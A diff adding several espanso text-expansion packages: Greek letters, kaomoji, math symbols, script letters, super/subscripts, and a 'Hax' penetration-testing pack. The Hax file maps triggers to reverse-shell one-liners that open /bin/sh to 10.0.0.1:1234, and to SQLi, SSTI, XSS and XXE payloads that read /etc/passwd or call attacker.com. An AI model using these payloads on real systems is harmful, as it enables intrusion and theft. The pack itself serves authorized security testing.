- trigger: ":omicron:"
replace: "ο"
- trigger: ":Pi:"
replace: "Π"
- trigger: ":pi:"
replace: "π"
- triggers: [":varpi:", ":vpi:"]
replace: "ϖ"
- triggers: [":Chi:", ":C:"]
replace: "Χ"
- triggers: [":chi:", ":c:"]
replace: "χ"
- triggers: [":Rho:", ":R:"]
replace: "Ρ"
- triggers: [":rho:", ":r:"]
replace: "ρ"
- triggers: [":varrho", ":vr:"]
replace: "ϱ"
- triggers: [":Sigma:", ":S:"]
replace: "Σ"
- triggers: [":sigma:", ":s:"]
replace: "σ"
- triggers: [":varsigma:", ":vs:"]
replace: "ς"
- trigger: ":Tau:"
replace: "Τ"
- trigger: ":tau:"
replace: "τ"
- triggers: [":Upsilon:", ":U:"]
replace: "Υ"
- triggers: [":upsilon:", ":u:"]
replace: "υ"
- triggers: [":Omega:", ":O:"]
replace: "Ω"
- triggers: [":omega:", ":o:"]
replace: "ω"
- trigger: ":Xi:"
replace: "Ξ"
- trigger: ":xi:"
replace: "ξ"
- trigger: ":Psi:"
replace: "Ψ"
- trigger: ":psi:"
replace: "ψ"
- triggers: [":varPsi:", ":vPsi:"]
replace: "Ⲯ"
- triggers: [":varpsi:", ":vpsi:"]
replace: "ⲯ"
- triggers: [":Zeta:", ":Z:"]
replace: "Ζ"
- triggers: [":zeta:", ":z:"]
replace: "ζ"

View File

@@ -0,0 +1,5 @@
# Hax - A collection of shortcuts for hackers/penetration testers
All the payloads included in `Hax` originate from the following sources, which I would like to thank:
- https://github.com/swisskyrepo/PayloadsAllTheThings
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

View File

@@ -0,0 +1,6 @@
name: "hax"
title: "Hax"
description: Penetration testing utilities and replacements
version: 0.1.0
author: Nick Aliferopoulos
tags: ["hax", "hack", "hacking", "penetration", "sqli", "xss", "shell", "ssti", "xxe"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,58 @@
matches:
# Reverse Shells
- trigger: ":rev-perl"
replace: "perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
- trigger: ":rev-python"
replace: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
- trigger: ":rev-php"
replace: "php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
- trigger: ":rev-ruby"
replace: "ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"
- trigger: ":rev-nc"
replace: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f"
# SQL Injection Payloads
- trigger: ":sqli-poly"
replace: "SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/"
# Server-side Template Injection Payloads
- trigger: ":ssti-asp"
replace: "@(1+2)"
- trigger: ":ssti-el"
replace: "${1+1}"
- trigger: ":ssti-el-alt"
replace: "#{1+1}"
- trigger: ":ssti-groovy"
replace: "${\"http://www.google.com\".toURL().text}"
- trigger: ":ssti-groovy-alt"
replace: "${new URL(\"http://www.google.com\").getText()}"
- trigger: ":ssti-jinja"
replace: "{{4*4}}[[5*5]]"
- trigger: ":ssti-ruby-file"
replace: "<%= File.open('/etc/passwd').read %>"
- trigger: ":ssti-ruby-dir"
replace: "<%= Dir.entries('/') %>"
- trigger: ":ssti-smarty"
replace: "{$smarty.version}"
- trigger: ":ssti-twig"
replace: "{{dump(app)}}"
- trigger: ":ssti-velocity"
replace: "#set($str=$class.inspect(\"java.lang.String\").type)"
# Cross-site Scripting Payloads
- trigger: ":xss-basic"
replace: "<script>confirm`1`</script>"
- trigger: ":xss-img"
replace: "<img src=a onerror=confirm`1`/>"
- trigger: ":xss-dom"
replace: "#\"><img src=/ onerror=alert(1)>"
- trigger: ":xss-markdown"
replace: "[a](javascript:prompt(1))"
- trigger: ":xss-poly"
replace: "\" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//"
# External XML Entity Injection Payloads
- trigger: ":xxe-file"
replace: "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>"
- trigger: ":xxe-http"
replace: "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'http://attacker.com'>]><root>&test;</root>"

View File

@@ -0,0 +1 @@
A package providing Kaimoji expansions.

View File

@@ -0,0 +1,7 @@
author: Ian Pringle
description: A package providing Kaimoji expansions
name: kaimoji
title: Kaimoji
version: 0.1.0
homepage: "https://github.com/pard68/kaimoji"
tags: ["fun", "meme", "emoji", "kaimoji", "ascii"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,27 @@
matches:
- trigger: ":shrug"
replace: "¯\_(ツ)_/¯"
- trigger: ":lenny"
replace: "( ͡° ͜ʖ ͡°)"
- trigger: ":fliptable"
replace: "(╯°□°)╯︵ ┻━┻"
- trigger: ":disapprove"
replace: "ಠ_ಠ"
- trigger: ":denko"
replace: "(´・ω・`)"
- trigger: ":owo"
replace: "ʘwʘ"
- trigger: ":hello"
replace: "( ・ω・)ノ"
- trigger: ":cry"
replace: "ಥ益ಥ"
- trigger: ":mad"
replace: "(๑•̀д•́๑)"
- trigger: ":awk"
replace: "( ་ ⍸ ་ )"
- trigger: ":pika"
replace: "(๑◕ܫ◕๑)"
- trigger: ":donger"
replace: "ヽ༼ຈل͜ຈ༽ノ"
- trigger: ":sparkle"
replace: "✧・゚: *✧・゚:*  $|$  *:・゚✧*:・゚✧"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 José Ferreira
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,48 @@
# Available matches
| Trigger | Replace |
|--------------|-----------|
| :ket: | ⟩ |
| :bra: | ⟨ |
| :identity: | 𝟙 |
| :sqrt: | √ |
| :int: | ∫ |
| :iint: | ∬ |
| :iiint: | ∭ |
| :oint: | ∮ |
| :oint: | ∯ |
| :oint: | ∰ |
| :sum: | ∑ |
| :prod: | ∏ |
| :Box: | □ |
| :cdot: | ⋅ |
| :pm: | ± |
| :mp: | ∓ |
| :equiv: | ≡ |
| :nequiv: | ≢ |
| :neq: | ≠ |
| :approx: | ≈ |
| :leq: | ≤ |
| :geq: | ≥ |
| :gg: | ≫ |
| :ll: | ≪ |
| :leftarrow: | ← |
| :rightarrow: | → |
| :implies: | ⇒ |
| :iff: | ⇔ |
| :infty: | ∞ |
| :nabla: | ∇ |
| :partial: | 𝜕 |
| :forall: | ∀ |
| :exists: | ∃ |
| :nexists: | ∄ |
| :hslash: | ℏ |
| :emptyset: | ∅ |
| :varnothing: | ∅ |
| :in: | ∈ |
| :notin: | ∉ |
| :smallin: | ∊ |
| :land: | ∧ |
| :lor: | |
| :propto: | ∝ |
| :neg: | ¬ |
| :times: | × |

View File

@@ -0,0 +1,7 @@
author: "Jos\xE9 Ferreira"
description: Displays math symbols using Latex based naming scheme
name: math-symbols
title: Math symbols based on Latex
version: 0.1.0
homepage: "https://github.com/jpmvferreira/espanso-mega-pack"
tags: ["math", "symbols"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,135 @@
matches:
- trigger: ":ket:"
replace: "⟩"
- trigger: ":bra:"
replace: "⟨"
- trigger: ":identity:"
replace: "𝟙"
- trigger: ":sqrt:"
replace: "√"
- trigger: ":int:"
replace: "∫"
- trigger: ":iint:"
replace: "∬"
- trigger: ":iiint:"
replace: "∭"
- trigger: ":oint:"
replace: "∮"
- trigger: ":oint:"
replace: "∯"
- trigger: ":oint:"
replace: "∰"
- trigger: ":sum:"
replace: "∑"
- trigger: ":prod:"
replace: "∏"
- trigger: ":Box:"
replace: "□"
- trigger: ":cdot:"
replace: "⋅"
- trigger: ":pm:"
replace: "±"
- trigger: ":mp:"
replace: "∓"
- trigger: ":equiv:"
replace: "≡"
- trigger: ":nequiv:"
replace: "≢"
- trigger: ":neq:"
replace: "≠"
- trigger: ":approx:"
replace: "≈"
- trigger: ":leq:"
replace: "≤"
- trigger: ":geq:"
replace: "≥"
- trigger: ":gg:"
replace: "≫"
- trigger: ":ll:"
replace: "≪"
- trigger: ":leftarrow:"
replace: "←"
- trigger: ":rightarrow:"
replace: "→"
- trigger: ":implies:"
replace: "⇒"
- trigger: ":iff:"
replace: "⇔"
- trigger: ":infty:"
replace: "∞"
- trigger: ":nabla:"
replace: "∇"
- trigger: ":partial:"
replace: "𝜕"
- trigger: ":forall:"
replace: "∀"
- trigger: ":exists:"
replace: "∃"
- trigger: ":nexists:"
replace: "∄"
- trigger: ":hslash:"
replace: "ℏ"
- trigger: ":emptyset:"
replace: "∅"
- trigger: ":varnothing:"
replace: "∅"
- trigger: ":in:"
replace: "∈"
- trigger: ":notin:"
replace: "∉"
- trigger: ":smallin:"
replace: "∊"
- trigger: ":land:"
replace: "∧"
- trigger: ":lor:"
replace: ""
- trigger: ":propto:"
replace: "∝"
- trigger: ":neg:"
replace: "¬"
- trigger: ":times:"
replace: "×"

View File

@@ -0,0 +1 @@
A package for [espanso](https://espanso.org/) containing some mathematical symbols such as for Boolean and set operations which aren't always readily available otherwise.

View File

@@ -0,0 +1,7 @@
author: Dian M Fay
description: Mathematical symbols such as for Boolean and set operations
name: math
title: Math
version: 0.1.0
homepage: "https://github.com/dmfay/espanso-math"
tags: ["math", "symbols"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,62 @@
# Math
matches:
# Booleans
- trigger: ":and"
replace: "∧"
- trigger: ":or"
replace: ""
- trigger: ":xor"
replace: "⩛"
# Propositions
- trigger: ":not"
replace: "¬"
- trigger: ":impl"
replace: "⇒"
- trigger: ":equiv"
replace: "⇔"
# Sets
- trigger: ":forall"
replace: "∀"
- trigger: ":exist"
replace: "∃"
- trigger: ":inset"
replace: "∈"
- trigger: ":notin"
replace: "∉"
- trigger: ":niset"
replace: "∋"
- trigger: ":notni"
replace: "∌"
- trigger: ":subset"
replace: "⊂"
- trigger: ":subseq"
replace: "⊆"
- trigger: ":supset"
replace: "⊃"
- trigger: ":supseq"
replace: "⊇"
- trigger: ":union"
replace: ""
- trigger: ":intersect"
replace: "∩"
# Proofs
- trigger: ":therefore"
replace: "∴"
- trigger: ":because"
replace: "∵"
- trigger: ":qed"
replace: "■"
# Misc
- trigger: ":cong"
replace: "≅"
- trigger: ":sqrt"
replace: "√"
- trigger: ":approx"
replace: "≈"
- trigger: ":sum"
replace: "∑"
- trigger: ":integral"
replace: "∫"
- trigger: ":dagger"
replace: "†"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,130 @@
# 𝒮𝒸𝓇𝒾𝓅𝓉 𝓁𝓉𝓉𝓇𝓈
[Espanso](https://espanso.org) package to easy write script letters.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-script-letters/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-script-letters/raw/main/assets/demo.gif)
</h1>
## Triggers
| Keyword | Replaced |
| ------- | -------- |
| `;sA` | `𝒜` |
| `;sB` | `` |
| `;sC` | `𝒞` |
| `;sD` | `𝒟` |
| `;sE` | `` |
| `;sF` | `` |
| `;sG` | `𝒢` |
| `;sH` | `` |
| `;sI` | `` |
| `;sJ` | `𝒥` |
| `;sK` | `𝒦` |
| `;sL` | `` |
| `;sM` | `` |
| `;sN` | `𝒩` |
| `;sO` | `𝒪` |
| `;sP` | `𝒫` |
| `;sQ` | `𝒬` |
| `;sR` | `` |
| `;sS` | `𝒮` |
| `;sT` | `𝒯` |
| `;sU` | `𝒰` |
| `;sV` | `𝒱` |
| `;sW` | `𝒲` |
| `;sX` | `𝒳` |
| `;sY` | `𝒴` |
| `;sZ` | `𝒵` |
| `;sa` | `𝒶` |
| `;sb` | `𝒷` |
| `;sc` | `𝒸` |
| `;sd` | `𝒹` |
| `;se` | `` |
| `;sf` | `𝒻` |
| `;sg` | `` |
| `;sh` | `𝒽` |
| `;si` | `𝒾` |
| `;sj` | `𝒿` |
| `;sk` | `𝓀` |
| `;sl` | `𝓁` |
| `;sm` | `𝓂` |
| `;sn` | `𝓃` |
| `;so` | `` |
| `;sp` | `𝓅` |
| `;sq` | `𝓆` |
| `;sr` | `𝓇` |
| `;ss` | `𝓈` |
| `;st` | `𝓉` |
| `;su` | `𝓊` |
| `;sv` | `𝓋` |
| `;sw` | `𝓌` |
| `;sx` | `𝓍` |
| `;sy` | `𝓎` |
| `;sz` | `𝓏` |
| `;sA` | `𝓐` |
| `;sB` | `𝓑` |
| `;sC` | `𝓒` |
| `;sD` | `𝓓` |
| `;sE` | `𝓔` |
| `;sF` | `𝓕` |
| `;sG` | `𝓖` |
| `;sH` | `𝓗` |
| `;sI` | `𝓘` |
| `;sJ` | `𝓙` |
| `;sK` | `𝓚` |
| `;sL` | `𝓛` |
| `;sM` | `𝓜` |
| `;sN` | `𝓝` |
| `;sO` | `𝓞` |
| `;sP` | `𝓟` |
| `;sQ` | `𝓠` |
| `;sR` | `𝓡` |
| `;sS` | `𝓢` |
| `;sT` | `𝓣` |
| `;sU` | `𝓤` |
| `;sV` | `𝓥` |
| `;sW` | `𝓦` |
| `;sX` | `𝓧` |
| `;sY` | `𝓨` |
| `;sZ` | `𝓩` |
| `;sa` | `𝓪` |
| `;sb` | `𝓫` |
| `;sc` | `𝓬` |
| `;sd` | `𝓭` |
| `;se` | `𝓮` |
| `;sf` | `𝓯` |
| `;sg` | `𝓰` |
| `;sh` | `𝓱` |
| `;si` | `𝓲` |
| `;sj` | `𝓳` |
| `;sk` | `𝓴` |
| `;sl` | `𝓵` |
| `;sm` | `𝓶` |
| `;sn` | `𝓷` |
| `;so` | `𝓸` |
| `;sp` | `𝓹` |
| `;sq` | `𝓺` |
| `;sr` | `𝓻` |
| `;ss` | `𝓼` |
| `;st` | `𝓽` |
| `;su` | `𝓾` |
| `;sv` | `𝓿` |
| `;sw` | `𝔀` |
| `;sx` | `𝔁` |
| `;sy` | `𝔂` |
| `;sz` | `𝔃` |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-script-letters)
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-script-letters/blob/master/LICENSE)

View File

@@ -0,0 +1,7 @@
author: Ihor Kopach (https://kopach.dev)
description: "Easy write 𝒮𝒸𝓇𝒾𝓅𝓉 𝓁𝓉𝓉𝓇𝓈"
name: script-letters
title: Script letters
version: 1.0.0
homepage: "https://github.com/kopach/espanso-package-script-letters"
tags: ["writing", "letters"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,213 @@
matches:
# {{{ Script letters
# https://www.webnots.com/alt-code-shortcuts-for-english-letters/
- trigger: ';sA'
replace: '𝒜'
- trigger: ';sB'
replace: ''
- trigger: ';sC'
replace: '𝒞'
- trigger: ';sD'
replace: '𝒟'
- trigger: ';sE'
replace: ''
- trigger: ';sF'
replace: ''
- trigger: ';sG'
replace: '𝒢'
- trigger: ';sH'
replace: ''
- trigger: ';sI'
replace: ''
- trigger: ';sJ'
replace: '𝒥'
- trigger: ';sK'
replace: '𝒦'
- trigger: ';sL'
replace: ''
- trigger: ';sM'
replace: ''
- trigger: ';sN'
replace: '𝒩'
- trigger: ';sO'
replace: '𝒪'
- trigger: ';sP'
replace: '𝒫'
- trigger: ';sQ'
replace: '𝒬'
- trigger: ';sR'
replace: ''
- trigger: ';sS'
replace: '𝒮'
- trigger: ';sT'
replace: '𝒯'
- trigger: ';sU'
replace: '𝒰'
- trigger: ';sV'
replace: '𝒱'
- trigger: ';sW'
replace: '𝒲'
- trigger: ';sX'
replace: '𝒳'
- trigger: ';sY'
replace: '𝒴'
- trigger: ';sZ'
replace: '𝒵'
- trigger: ';sa'
replace: '𝒶'
- trigger: ';sb'
replace: '𝒷'
- trigger: ';sc'
replace: '𝒸'
- trigger: ';sd'
replace: '𝒹'
- trigger: ';se'
replace: ''
- trigger: ';sf'
replace: '𝒻'
- trigger: ';sg'
replace: ''
- trigger: ';sh'
replace: '𝒽'
- trigger: ';si'
replace: '𝒾'
- trigger: ';sj'
replace: '𝒿'
- trigger: ';sk'
replace: '𝓀'
- trigger: ';sl'
replace: '𝓁'
- trigger: ';sm'
replace: '𝓂'
- trigger: ';sn'
replace: '𝓃'
- trigger: ';so'
replace: ''
- trigger: ';sp'
replace: '𝓅'
- trigger: ';sq'
replace: '𝓆'
- trigger: ';sr'
replace: '𝓇'
- trigger: ';ss'
replace: '𝓈'
- trigger: ';st'
replace: '𝓉'
- trigger: ';su'
replace: '𝓊'
- trigger: ';sv'
replace: '𝓋'
- trigger: ';sw'
replace: '𝓌'
- trigger: ';sx'
replace: '𝓍'
- trigger: ';sy'
replace: '𝓎'
- trigger: ';sz'
replace: '𝓏'
- trigger: ';sA'
replace: '𝓐'
- trigger: ';sB'
replace: '𝓑'
- trigger: ';sC'
replace: '𝓒'
- trigger: ';sD'
replace: '𝓓'
- trigger: ';sE'
replace: '𝓔'
- trigger: ';sF'
replace: '𝓕'
- trigger: ';sG'
replace: '𝓖'
- trigger: ';sH'
replace: '𝓗'
- trigger: ';sI'
replace: '𝓘'
- trigger: ';sJ'
replace: '𝓙'
- trigger: ';sK'
replace: '𝓚'
- trigger: ';sL'
replace: '𝓛'
- trigger: ';sM'
replace: '𝓜'
- trigger: ';sN'
replace: '𝓝'
- trigger: ';sO'
replace: '𝓞'
- trigger: ';sP'
replace: '𝓟'
- trigger: ';sQ'
replace: '𝓠'
- trigger: ';sR'
replace: '𝓡'
- trigger: ';sS'
replace: '𝓢'
- trigger: ';sT'
replace: '𝓣'
- trigger: ';sU'
replace: '𝓤'
- trigger: ';sV'
replace: '𝓥'
- trigger: ';sW'
replace: '𝓦'
- trigger: ';sX'
replace: '𝓧'
- trigger: ';sY'
replace: '𝓨'
- trigger: ';sZ'
replace: '𝓩'
- trigger: ';sa'
replace: '𝓪'
- trigger: ';sb'
replace: '𝓫'
- trigger: ';sc'
replace: '𝓬'
- trigger: ';sd'
replace: '𝓭'
- trigger: ';se'
replace: '𝓮'
- trigger: ';sf'
replace: '𝓯'
- trigger: ';sg'
replace: '𝓰'
- trigger: ';sh'
replace: '𝓱'
- trigger: ';si'
replace: '𝓲'
- trigger: ';sj'
replace: '𝓳'
- trigger: ';sk'
replace: '𝓴'
- trigger: ';sl'
replace: '𝓵'
- trigger: ';sm'
replace: '𝓶'
- trigger: ';sn'
replace: '𝓷'
- trigger: ';so'
replace: '𝓸'
- trigger: ';sp'
replace: '𝓹'
- trigger: ';sq'
replace: '𝓺'
- trigger: ';sr'
replace: '𝓻'
- trigger: ';ss'
replace: '𝓼'
- trigger: ';st'
replace: '𝓽'
- trigger: ';su'
replace: '𝓾'
- trigger: ';sv'
replace: '𝓿'
- trigger: ';sw'
replace: '𝔀'
- trigger: ';sx'
replace: '𝔁'
- trigger: ';sy'
replace: '𝔂'
- trigger: ';sz'
replace: '𝔃'
# }}}

View File

@@ -0,0 +1 @@
An espanso package for superscripts and subscripts.

View File

@@ -0,0 +1,7 @@
author: Meggyn Watkins
description: An espanso package for superscripts and subscripts.
homepage: https://github.com/meggynw/espanso-package-supersubscript
name: supersubscript
title: Superscripts and subscripts
version: 0.1.0
tags: ["symbols", "math"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,326 @@
# Superscripts and subscripts package
matches:
# superscripts
- trigger: ":hi0:"
replace: "⁰"
- trigger: ":hi1:"
replace: "¹"
- trigger: ":hi2:"
replace: "²"
- trigger: ":hi3:"
replace: "³"
- trigger: ":hi4:"
replace: "⁴"
- trigger: ":hi5:"
replace: "⁵"
- trigger: ":hi6:"
replace: "⁶"
- trigger: ":hi7:"
replace: "⁷"
- trigger: ":hi8:"
replace: "⁸"
- trigger: ":hi9:"
replace: "⁹"
- trigger: ":hi+:"
replace: "⁺"
- trigger: ":hi-:"
replace: "⁻"
- trigger: ":hi=:"
replace: "⁼"
- trigger: ":hi(:"
replace: "⁽"
- trigger: ":hi):"
replace: "⁾"
- trigger: ":hiA:"
replace: "ᴬ"
- trigger: ":hiAE:"
replace: "ᴭ"
- trigger: ":hiB:"
replace: "ᴮ"
- trigger: ":hiD:"
replace: "ᴰ"
- trigger: ":hiE:"
replace: "ᴱ"
- trigger: ":hi_reverseE:"
replace: "ᴲ"
- trigger: ":hiG:"
replace: "ᴳ"
- trigger: ":hiH:"
replace: "ᴴ"
- trigger: ":hiI:"
replace: "ᴵ"
- trigger: ":hiJ:"
replace: "ᴶ"
- trigger: ":hiK:"
replace: "ᴷ"
- trigger: ":hiL:"
replace: "ᴸ"
- trigger: ":hiM:"
replace: "ᴹ"
- trigger: ":hiN:"
replace: "ᴺ"
- trigger: ":hi_reverseN:"
replace: "ᴻ"
- trigger: ":hiO:"
replace: "ᴼ"
- trigger: ":hiOu:"
replace: "ᴽ"
- trigger: ":hiP:"
replace: "ᴾ"
- trigger: ":hiR:"
replace: "ᴿ"
- trigger: ":hiT:"
replace: "ᵀ"
- trigger: ":hiU:"
replace: "ᵁ"
- trigger: ":hiW:"
replace: "ᵂ"
- trigger: ":hia:"
replace: "ᵃ"
- trigger: ":hi_turneda:"
replace: "ᵄ"
- trigger: ":hiAlpha:"
replace: "ᵅ"
- trigger: ":hi_turnedae:"
replace: "ᵆ"
- trigger: ":hib:"
replace: "ᵇ"
- trigger: ":hid:"
replace: "ᵈ"
- trigger: ":hie:"
replace: "ᵉ"
- trigger: ":hiSchwa:"
replace: "ᵊ"
- trigger: ":hi_opene:"
replace: "ᵋ"
- trigger: ":hi_turnedopene:"
replace: "ᵌ"
- trigger: ":hig:"
replace: "ᵍ"
- trigger: ":hii:"
replace: "ⁱ"
- trigger: ":hi_turnedi:"
replace: "ᵎ"
- trigger: ":hik:"
replace: "ᵏ"
- trigger: ":him:"
replace: "ᵐ"
- trigger: ":hi_turnedm:"
replace: "ᵚ"
- trigger: ":hin:"
replace: "ⁿ"
- trigger: ":hiEng:"
replace: "ᵑ"
- trigger: ":hio:"
replace: "ᵒ"
- trigger: ":hi_turnedc:"
replace: "ᵓ"
- trigger: ":hi_topo:"
replace: "ᵔ"
- trigger: ":hi_bottomo:"
replace: "ᵕ"
- trigger: ":hip:"
replace: "ᵖ"
- trigger: ":hit:"
replace: "ᵗ"
- trigger: ":hiu:"
replace: "ᵘ"
- trigger: ":hi_sidewaysu:"
replace: "ᵙ"
- trigger: ":hiv:"
replace: "ᵛ"
- trigger: ":hiAin:"
replace: "ᵜ"
- trigger: ":hiBeta:"
replace: "ᵝ"
- trigger: ":hiDelta:"
replace: "ᵟ"
- trigger: ":hiPhi:"
replace: "ᵠ"
- trigger: ":hiChi:"
replace: "ᵡ"
# subscripts
- trigger: ":lo0:"
replace: "₀"
- trigger: ":lo1:"
replace: "₁"
- trigger: ":lo2:"
replace: "₂"
- trigger: ":lo3:"
replace: "₃"
- trigger: ":lo4:"
replace: "₄"
- trigger: ":lo5:"
replace: "₅"
- trigger: ":lo6:"
replace: "₆"
- trigger: ":lo7:"
replace: "₇"
- trigger: ":lo8:"
replace: "₈"
- trigger: ":lo9:"
replace: "₉"
- trigger: ":lo+:"
replace: "₊"
- trigger: ":lo-:"
replace: "₋"
- trigger: ":lo=:"
replace: "₌"
- trigger: ":lo(:"
replace: "₍"
- trigger: ":lo):"
replace: "₎"
- trigger: ":loa:"
replace: "ₐ"
- trigger: ":loe:"
replace: "ₑ"
- trigger: ":loh:"
replace: "ₕ"
- trigger: ":loi:"
replace: "ᵢ"
- trigger: ":lok:"
replace: "ₖ"
- trigger: ":lo_l:"
replace: "ₗ"
- trigger: ":lom:"
replace: "ₘ"
- trigger: ":lon:"
replace: "ₙ"
- trigger: ":loo:"
replace: "ₒ"
- trigger: ":lop:"
replace: "ₚ"
- trigger: ":lor:"
replace: "ᵣ"
- trigger: ":los:"
replace: "ₛ"
- trigger: ":lot:"
replace: "ₜ"
- trigger: ":lou:"
replace: "ᵤ"
- trigger: ":lov:"
replace: "ᵥ"
- trigger: ":lox:"
replace: "ₓ"
- trigger: ":loSchwa:"
replace: "ₔ"
- trigger: ":loBeta:"
replace: "ᵦ"
- trigger: ":loChi:"
replace: "ᵪ"
- trigger: ":loGamma:"
replace: "ᵧ"
- trigger: ":loPhi:"
replace: "ᵩ"
- trigger: ":loRho:"
replace: "ᵨ"

View File

@@ -0,0 +1,9 @@
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means.
In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org/>

View File

@@ -0,0 +1,7 @@
Espanso package that gets a hilarious random commit message.
![](https://user-images.githubusercontent.com/516342/99454223-cda04800-292e-11eb-9034-e5c625ee0073.gif)
Instead of writing something meaningful, your can commit with a silly message `git commit -m ":wtc"`
Powered by [What The Commit](https://whatthecommit.com/).

View File

@@ -0,0 +1,7 @@
author: omrilotan
description: Get a hilarious random commit message
name: wtc
title: What the Commit
version: 1.0.1
homepage: "https://github.com/omrilotan/espanso-package-wtc"
tags: ["fun", "git", "shell"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,8 @@
matches:
- trigger: ":wtc"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: "curl -s https://whatthecommit.com/index.txt"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020 Brady Joslin <brady@bradyjoslin.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
